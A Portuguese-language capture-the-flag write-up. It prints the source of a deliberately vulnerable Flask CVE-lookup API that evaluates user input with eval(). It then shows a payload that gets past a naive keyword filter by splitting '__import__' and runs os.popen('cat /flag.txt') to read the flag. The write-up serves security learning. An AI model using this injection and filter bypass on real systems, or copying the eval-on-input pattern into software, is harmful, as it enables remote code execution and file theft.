Fiz essa API para um amigo, ela está segura? (a flag está em /flag.txt)
@big0us
Format da flag: bCTF{xxx}
bCTF{05f115232df35cab8d1476e920f69ceb}
Esse desafio começa nos apresentando um sistema de consulta de CVE’s. Assim, temos a seguinte interface:
Clicando em Download Source
, podemos obter o código fonte, sendo ele:
from flask import Flask, request, jsonify, render_template, send_file
import json
from typing import ClassVar
import requests
app = Flask(__name__)
def getCVSSbyCVE(cveid: str):
"""
Get cvss info by CVE-ID.
Params:
@ cveid - cve-id to get cvss.
"""
try:
json_response = json.loads(requests.get(f'http://services.nvd.nist.gov/rest/json/cve/1.0/{str(cveid)}').text)
json_impacts = json_response['result']['CVE_Items'][0]['impact']
if 'baseMetricV3' in json_impacts:
cvss = str(json_impacts['baseMetricV3']['cvssV3']['baseScore'])
elif 'baseMetricV2' in json_impacts:
cvss = str(json_impacts['baseMetricV2']['cvssV2']['baseScore'])
except:
cvss = 0
return cvss
@app.route('/', methods=['GET'])
def index():
return render_template("index.html")
@app.route('/get_cvss/', methods=['GET'])
#CVE-2021-42013
def getcvss():
if request.args.get('cveid'):
cveid = request.args.get('cveid')
CVE = cveid
if(cveid[0:3].lower() == 'cve'):
cveid = cveid.replace("__import__","")
cveid = cveid.replace("|","")
cveid = cveid.replace('system',"")
try:
cvss = getCVSSbyCVE(cveid).strip('CVE-')
except:
cvss = cveid
cvss = eval(cvss)
return jsonify({"CVE":CVE, "CVSS":str(cvss)})
else:
return "error"
else:
return "error"
@app.route('/download', methods=['GET', 'POST'])
def download():
path = "./main.py"
return send_file(path, as_attachment=True)
app.run(host='0.0.0.0', debug=False)
Diante desse código fonte, fica notório que a vulnerabilidade a ser explorada está localizada na utilização da função eval
, em:
cvss = eval(cvss)
Entretanto, primeiramente precisamos chegar nesse utilização do eval
. Ao utilizar o parâmetro cveid=cve
, o fluxo de programação é levado até o o eval
, contendo toda a carga da variável cveid
. Assim, em decorrência de que a função eval
do Python só suporta uma linha de comando, devemos criar um payload capaz de se obter a flag, passando pelas funções de filtro:
cveid = cveid.replace("__import__","")
cveid = cveid.replace("|","")
cveid = cveid.replace('system',"")
Assim, com o payload:
cveid.replace("", f"""{CVE.replace("",f"{__imp__import__ort__('os').popen('cat /flag.txt').read()}")}""")
Podemos obter a resposta e obtendo a flag: